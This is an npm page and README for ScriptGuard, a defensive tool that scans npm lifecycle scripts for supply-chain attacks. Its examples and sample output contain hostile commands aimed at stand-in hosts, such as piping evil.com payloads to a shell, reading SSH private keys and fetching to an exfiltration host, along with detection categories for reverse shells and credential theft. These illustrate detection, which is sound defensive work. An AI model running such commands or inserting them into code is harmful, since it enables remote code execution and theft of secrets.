scriptguard
v1.2.1
Published
Security scanner for npm package lifecycle scripts — detect malicious postinstall, preinstall, and prepare scripts before they run
Downloads
55
Maintainers
Readme
ScriptGuard 🔒
Advanced security scanner for npm package lifecycle scripts — 4-layer detection pipeline catches obfuscated attacks that regex-only scanners miss.
ScriptGuard uses regex → AST → deobfuscation → AI to detect sophisticated supply chain attacks including dynamic require(), computed properties, base64 encoding, and multi-layer obfuscation. Catches 30-40% more threats than regex-only scanning while maintaining <5% false positive rate.
Install
Option 1: Install from npm (recommended)
npm install -g scriptguardOption 2: Install from source
# Clone the repository
git clone https://github.com/ferrierepete/scriptguard.git
cd scriptguard
# Install dependencies
npm install
# Build the project
npm run build
# Install globally
npm linkOption 3: Run directly without installation
# Clone and run
git clone https://github.com/ferrierepete/scriptguard.git
cd scriptguard
npm install
npm run build
node dist/cli.js scanUsage
Scan your project
# Scan all installed packages for malicious lifecycle scripts
scriptguard scan
# Scan a specific project path
scriptguard scan --path /path/to/project
# Output as JSON for CI pipelines
scriptguard scan --format json
# Fail CI if high/critical findings found
scriptguard scan --fail-on high
# SARIF output for GitHub Advanced Security
scriptguard scan --format sarif
# Advanced options
scriptguard scan --no-ast # Disable AST analysis for faster scans
scriptguard scan --no-deobfuscate # Disable deobfuscation layerCheck a single package.json
# Basic check (regex + AST + deobfuscation)
scriptguard check ./package.json
# Output as JSON
scriptguard check ./some-module/package.json --format json
# AI-powered analysis of a single package
scriptguard check ./package.json --ai
# Plain English explanation of each finding
scriptguard check ./package.json --explainList all detection patterns
scriptguard patternsAI-Powered Analysis (Optional)
ScriptGuard can use Google Gemini AI to enhance security scans with contextual analysis:
# Enable AI analysis on scan
export GOOGLE_AI_API_KEY=your_key_here
scriptguard scan --ai
# AI analysis on a single package.json
scriptguard check ./package.json --ai
# Plain English explanations (--explain auto-enables --ai)
scriptguard check ./package.json --explain
# Choose analysis depth
scriptguard scan --ai --ai-mode basic # Quick false positive filtering
scriptguard scan --ai --ai-mode standard # Full analysis (default)
scriptguard scan --ai --ai-mode thorough # Deep analysis with correlation
# Control costs and timeouts
scriptguard scan --ai --ai-max-tokens 500 --ai-timeout 5000
# Include remediation recommendations
scriptguard scan --ai --ai-mitigation--explain mode is designed for the check command — instead of structured JSON insights, the AI narrates each finding in plain English: what the script does, why it's flagged, how an attacker could exploit it, and whether it's likely a false positive. Perfect for understanding a package before installing it.
What AI adds:
- ✅ Reduces false positives by understanding context (e.g.,
process.env.PORTvsprocess.env.AWS_SECRET_KEY) - ✅ Detects advanced threats like obfuscated code, novel attack patterns, and multi-stage attacks
- ✅ Provides actionable insights with attack technique identification and remediation guidance
Get an API key:
- Visit https://makersuite.google.com/app/apikey
- Create a new API key (free tier available)
- Set as environment variable:
export GOOGLE_AI_API_KEY=your_key
Model & Pricing:
- Model:
gemini-3-flash-preview(fast, cost-effective) - Estimated cost: ~$0.00002 per 100 packages (based on ~2,000 tokens/scan)
- Actual test results:
- Basic mode: 405 tokens (~$0.000004)
- Standard mode: 1,640 tokens (~$0.000016)
- Thorough mode: ~2,500 tokens (~$0.000025)
⚠️ Pricing varies by region and usage tier. For current pricing, see:
Cost control tips:
- Use
--ai-mode basicfor CI/CD (4x cheaper) - Set
--ai-max-tokensto limit usage per scan - Results are cached for 24 hours (same packages = free rescan)
What It Detects
ScriptGuard uses a 4-layer detection pipeline to catch sophisticated attacks:
Layer 1: Regex Pre-Filter (Fast Path)
- 26 patterns across 6 categories
- Catches ~80% of malicious scripts immediately
- ~0.5ms per script
Layer 2: AST Pattern Matching
- Dynamic require():
require(variable),require('child_' + 'process') - Computed eval:
eval(atob(...)),new Function(payload) - Computed properties:
process.env[computed],fs['read' + 'File'] - String building: Concatenation constructing dangerous keywords
- Runs only on regex-flagged scripts (~20% of packages)
- ~5ms per script
Layer 3: Deobfuscation
- Base64 decoding:
eval(Buffer.from(..., 'base64')) - Hex escape decoding:
\x72\x65\x71→req - Unicode decoding:
\u0072\u0065\u0071→req - Recursive analysis: Re-scans deobfuscated code
- NO code execution — decode-only approach
- Runs only on AST-flagged scripts (~5% of packages)
- ~25ms per script
Layer 4: AI Analysis (Optional)
- Context-aware false positive filtering
- Few-shot learning with real-world examples
- Analyzes deobfuscated code for better accuracy
- ~2s per script (only ~1% of packages need AI)
Detection Categories
| Category | Examples |
|----------|---------|
| Network | curl \| bash, silent HTTP requests, DNS exfiltration |
| Execution | eval(), child_process, shell exec, node -e |
| Filesystem | SSH key access, AWS credential reading, /etc/passwd access |
| Exfiltration | process.env reads, clipboard access, keychain access |
| Obfuscation | base64 decode + eval, hex-encoded payloads, dynamic require |
| Crypto | Cryptocurrency miners, reverse shells |
| AST-Level | Dynamic module loading, computed properties, string building |
Output Formats
- Table (default) — human-readable terminal output with risk scores
- JSON — structured data for tooling integration
- SARIF — GitHub Advanced Security compatible format
CI/CD Integration
# GitHub Actions
- name: ScriptGuard Security Scan
run: npx scriptguard scan --fail-on high --format sarif > scriptguard-results.sarifProgrammatic API
import { scanProject, scanPackageJson, scanPackageJsonWithAI, analyzePackage } from 'scriptguard';
// Scan an entire project
const result = await scanProject({ path: '.', includeDev: false, minRiskLevel: 'low', format: 'table' });
console.log(`Found ${result.totalFindings} findings`);
// Check a single package.json (sync, no AI)
const checkResult = scanPackageJson('./package.json');
console.log(checkResult.overallRiskLevel);
// Check a single package.json with AI analysis
const aiResult = await scanPackageJsonWithAI('./package.json', {
enabled: true,
mode: 'explain',
apiKey: process.env.GOOGLE_AI_API_KEY,
});
// Analyze a single package's scripts
const analysis = analyzePackage('my-pkg', '1.0.0', { postinstall: 'curl http://evil.com | sh' });
console.log(analysis.riskLevel); // 'critical'Why This Exists
npm supply chain attacks are a real and ongoing threat. These incidents made headlines:
- flatmap-stream (2018) — injected into
event-stream(2M weekly downloads). Used the parent package's description as a decryption key to execute a hidden payload targeting BitPay's Copay Bitcoin wallet. - ua-parser-js (2021) — compromised npm account, published a version that downloaded and executed platform-specific malware (credential stealer + crypto miner). Created Windows persistence via
schtasks /create /tn DiscordUpdate. - node-ipc (2022) — maintainer deliberately introduced protestware that geolocated users via IP and wrote files to their home directory if they were in Russia or Belarus. ~1M weekly downloads.
- pino-SDK-v2 — exfiltrated
.envsecrets to Discord via postinstall npm auditonly checks for known CVEs — not malicious behavior patterns in lifecycle scripts- No dedicated tool existed for scanning lifecycle scripts before they run
Tech Stack
- TypeScript, Node.js 18+
- Commander.js (CLI), Zod (validation)
- Optional AI: Google Gemini API (requires
GOOGLE_AI_API_KEY) - Zero runtime dependencies beyond CLI framework
Example Output
$ scriptguard scan
🔒 ScriptGuard — npm Lifecycle Script Security Scanner
Scanned 156 packages (42 with lifecycle scripts) in 23ms
Summary
Overall Risk: HIGH (52/100)
Findings: 8 total — 🔴 2 critical | 🟠 3 high | 🟡 2 medium | ⚪ 1 low
Findings
──────────────────────────────────────────────────────────────────────
[email protected] 🔴 CRITICAL [85/100]
🔴 CRITICAL curl-pipe
Downloads and executes remote code via curl pipe
Match: curl -s https://evil.com/payload.sh | bash
🔴 CRITICAL ssh-access
Accesses SSH keys — credential theft risk
Match: cat ~/.ssh/id_rsa
[email protected] 🟠 HIGH [65/100]
🟠 HIGH env-exfil
Reads environment variables — may contain secrets
Match: process.env
🟠 HIGH http-request
Outbound HTTP request detected
Match: fetch('https://exfil.com/data')
──────────────────────────────────────────────────────────────────────Performance
ScriptGuard is optimized for speed with a layered approach:
Full Pipeline Performance (AST + Deobfuscation Enabled)
| Project Size | Packages | Scan Time | |--------------|----------|-----------| | Small | < 50 | ~10-30ms | | Medium | 50-200 | ~30-100ms | | Large | 200-1000 | ~100-500ms | | Monorepo | 1000+ | ~500ms-2s |
Why so fast?
- Layered architecture: Only ~20% of packages need AST analysis
- Selective deobfuscation: Only ~5% of packages need deobfuscation
- Parallel-friendly architecture for large scans
- Graceful degradation: Failures don't block scanning
Regex-Only Scanning (Fastest)
Use --no-ast --no-deobfuscate for maximum speed:
| Project Size | Packages | Scan Time | |--------------|----------|-----------| | Small | < 50 | ~5-15ms | | Medium | 50-200 | ~15-40ms | | Large | 200-1000 | ~40-150ms | | Monorepo | 1000+ | ~150-500ms |
Why so fast?
- Single-pass file system traversal
- No network requests during scanning
- Regex-based pattern matching (compiled at startup)
- Parallel-friendly architecture
AI-Enabled Scanning (with --ai)
| Mode | Time (100 pkgs) | Tokens | Cost | |------|-----------------|--------|------| | Basic | +25s | 405 | ~$0.000004 | | Standard | +30s | 1,640 | ~$0.000016 | | Thorough | +35s | ~2,500 | ~$0.000025 |
AI performance notes:
- Times are additional to regex scanning
- Actual results from real scans (78 packages)
- Token usage varies by package complexity
- 24-hour response caching (same packages = instant)
- See Gemini 3 Pricing for current rates
Advanced Features
AST-Based Pattern Matching
ScriptGuard goes beyond regex by parsing JavaScript into Abstract Syntax Trees (AST) to detect structural patterns that string matching cannot see:
What it catches:
// Dynamic require with variable argument
const mod = 'child_process';
require(mod).exec('curl evil.com | sh'); // ❌ FLAGGED
// String concatenation building module names
require('child_' + 'process'); // ❌ FLAGGED
// Computed eval/Function
const code = atob('ZXZhbC...'); eval(code); // ❌ FLAGGED
// Computed property access
const key = 'AWS_SECRET'; process.env[key]; // ❌ FLAGGEDPerformance: ~5ms per script (only runs on regex-flagged packages)
Deobfuscation Layer
ScriptGuard automatically decodes common obfuscation techniques to reveal hidden threats:
Supported encodings:
- Base64:
eval(atob('base64string'))→ decoded and re-analyzed - Hex escapes:
\x72\x65\x71→require - Unicode:
\u0072\u0065\u0071→require - Recursive: Multi-layer encoding peeled back automatically
Safety features:
- ✅ NO code execution — decode-only approach
- ✅ Max 2 iterations to prevent infinite loops
- ✅ Size limits (10x growth prevention)
- ✅ Syntax validation before accepting results
Performance: ~25ms per script (only runs on AST-flagged packages)
CLI Flags for Fine-Grained Control
# Disable AST analysis for faster scans
scriptguard scan --no-ast
# Disable deobfuscation for faster scans
scriptguard scan --no-deobfuscate
# Maximum speed (regex only)
scriptguard scan --no-ast --no-deobfuscate
# Full protection (default - all layers enabled)
scriptguard scanWhen to disable layers:
- Use
--no-astfor very large projects where speed is critical - Use
--no-deobfuscateif you're only concerned with obvious threats - Keep both enabled for maximum security (recommended for CI/CD)
Detection Examples
Layer 1 (Regex) catches:
curl http://evil.com/payload.sh | sh # ✓ FLAGGED
eval(maliciousCode) # ✓ FLAGGED
cat ~/.ssh/id_rsa # ✓ FLAGGEDLayer 2 (AST) catches:
require(variable) # ✓ FLAGGED (regex misses this)
eval(atob('encoded')) # ✓ FLAGGED (computed argument)
fs['read' + 'File'] # ✓ FLAGGED (computed property)Layer 3 (Deobfuscation) catches:
eval(Buffer.from('Y3VybCAtcyBo...=', 'base64').toString()) # ✓ DECODED + FLAGGED
\x72\x65\x71\x75\x69\x72\x65 # ✓ DECODED + FLAGGED
eval(atob('\x65\x76\x61\x6c...')) # ✓ MULTI-LAYER DECODINGFAQ
Does ScriptGuard execute any code from packages?
No. ScriptGuard only reads package.json files and analyzes script contents as strings. It never executes, requires, or runs code from scanned packages.
What about false positives?
Some legitimate packages use lifecycle scripts for build steps, binaries, or platform-specific installations. ScriptGuard flags these as LOW risk with the pattern lifecycle-script-present. Review these manually to decide if they're safe for your environment.
Can I suppress specific findings?
Not currently. If you have legitimate use cases that trigger warnings, consider:
- Using
--min-risk highto filter out low/medium findings - Adding package-specific exclusions in your CI pipeline
- Contributing a
.scriptguardignorefeature request!
What are AST and deobfuscation layers?
AST (Abstract Syntax Tree): ScriptGuard parses JavaScript into a tree structure to detect patterns that regex can't see, like dynamic require(variable) or computed obj['prop'] access. This catches sophisticated obfuscation that bypasses keyword detection.
Deobfuscation: Automatically decodes base64, hex, and unicode encoding to reveal hidden threats. For example, eval(Buffer.from('...', 'base64')) is decoded and re-analyzed to catch the actual malicious payload.
Both layers are enabled by default and run only when needed (AST runs on ~20% of packages, deobfuscation on ~5%), so there's minimal performance impact for much better detection.
How does this differ from npm audit?
| | npm audit | ScriptGuard | |---|-----------|-------------| | What it checks | Known CVEs in dependencies | Malicious behavior patterns | | Detection method | Vulnerability database | Static code analysis | | What it catches | Outdated versions with known exploits | Zero-day attacks, obfuscated code | | Scope | All dependency code | Lifecycle scripts only |
Use them together for comprehensive coverage.
Should I run this in CI?
Absolutely. Add ScriptGuard to your CI pipeline to catch supply chain attacks before they reach production:
- name: Run ScriptGuard
run: npx scriptguard scan --fail-on highTroubleshooting
"No node_modules found"
ScriptGuard expects to run in a directory with a node_modules folder. If you're in a monorepo or using a different structure:
scriptguard scan --path ./packages/frontendHigh memory usage on large projects
If scanning 1000+ packages causes memory issues:
# Scan individual package directories
scriptguard scan --path ./node_modules/package-namePermission errors reading package.json
Some packages have restricted file permissions. ScriptGuard will skip these and continue scanning other packages. Check your file system permissions if you see many skipped packages.
Development
Want to contribute or hack on ScriptGuard?
# Clone the repo
git clone https://github.com/ferrierepete/scriptguard.git
cd scriptguard
# Install dependencies
npm install
# Run tests
npm test
# Watch mode for development
npm run test:watch
# Build TypeScript
npm run build
# Run locally (before publishing)
npm link
scriptguard scanProject Structure
scriptguard/
├── src/
│ ├── cli.ts # Commander.js CLI entry point
│ ├── index.ts # Public API exports
│ ├── types/
│ │ └── index.ts # TypeScript definitions
│ ├── ai/ # AI integration (Gemini)
│ │ ├── gemini-client.ts
│ │ ├── prompts.ts
│ │ └── analyzers/
│ └── scanners/
│ ├── index.ts # Scan orchestration
│ ├── lifecycle.ts # package.json parsing
│ ├── patterns.ts # 26 regex detection rules
│ ├── ast.ts # AST pattern matching (NEW)
│ └── deobfuscation.ts # Deobfuscation engine (NEW)
├── tests/
│ ├── scanner.test.ts # Vitest test suite
│ ├── ast.test.ts # AST and deobfuscation tests
│ ├── check-ai.test.ts # Check --ai and --explain tests
│ └── fixtures/ # Sample package.json files
└── dist/ # Compiled JavaScript (generated)Adding New Detection Patterns
Edit src/scanners/patterns.ts and add to the PATTERN_RULES array:
{
name: 'your-pattern',
pattern: /your-regex-here/,
riskLevel: 'high', // or 'critical', 'medium', 'low'
description: 'What this pattern detects',
category: 'network', // or 'execution', 'filesystem', etc.
}Then add tests in tests/scanner.test.ts.
Tech Stack
- TypeScript, Node.js 18+ — Core runtime
- Commander.js — CLI framework
- Acorn + Acorn-Walk — JavaScript parsing and AST traversal
- Zod — Schema validation
- Google Gemini AI (optional) — Context-aware threat analysis
- Vitest — Test framework
- Zero runtime dependencies beyond CLI framework
Key Features
✅ 4-Layer Detection Pipeline — Regex → AST → Deobfuscation → AI ✅ Zero False Positives on Safe Code — Context-aware analysis ✅ 30-40% Better Detection — Catches obfuscated attacks regex misses ✅ CI/CD Ready — SARIF output, exit codes, JSON format ✅ Fast Scanning — <2s for 1000 packages (default settings) ✅ Offline Capable — Works without AI (reduced capability) ✅ Graceful Degradation — Failures don't block scanning ✅ No Code Execution — Safe static analysis only
Contributing
Contributions are welcome! Here's how to help:
- Report bugs — Open an issue with reproduction steps
- Suggest features — Share your use case in Discussions
- Submit patterns — Add new detection rules (see above)
- Improve docs — Fix typos, clarify examples
- Fix bugs — Pull requests welcome!
See CONTRIBUTING.md for detailed guidelines.
Resources
- GitHub Repository: https://github.com/ferrierepete/scriptguard
- Report Issues: https://github.com/ferrierepete/scriptguard/issues
- Discussions: https://github.com/ferrierepete/scriptguard/discussions
- npm Package: https://www.npmjs.com/package/scriptguard
Related Tools
- npm audit — Official vulnerability scanner
- snyk — Dependency vulnerability monitoring
- lockfile-lint — Lockfile policy enforcement
License
MIT © Peter Ferriere
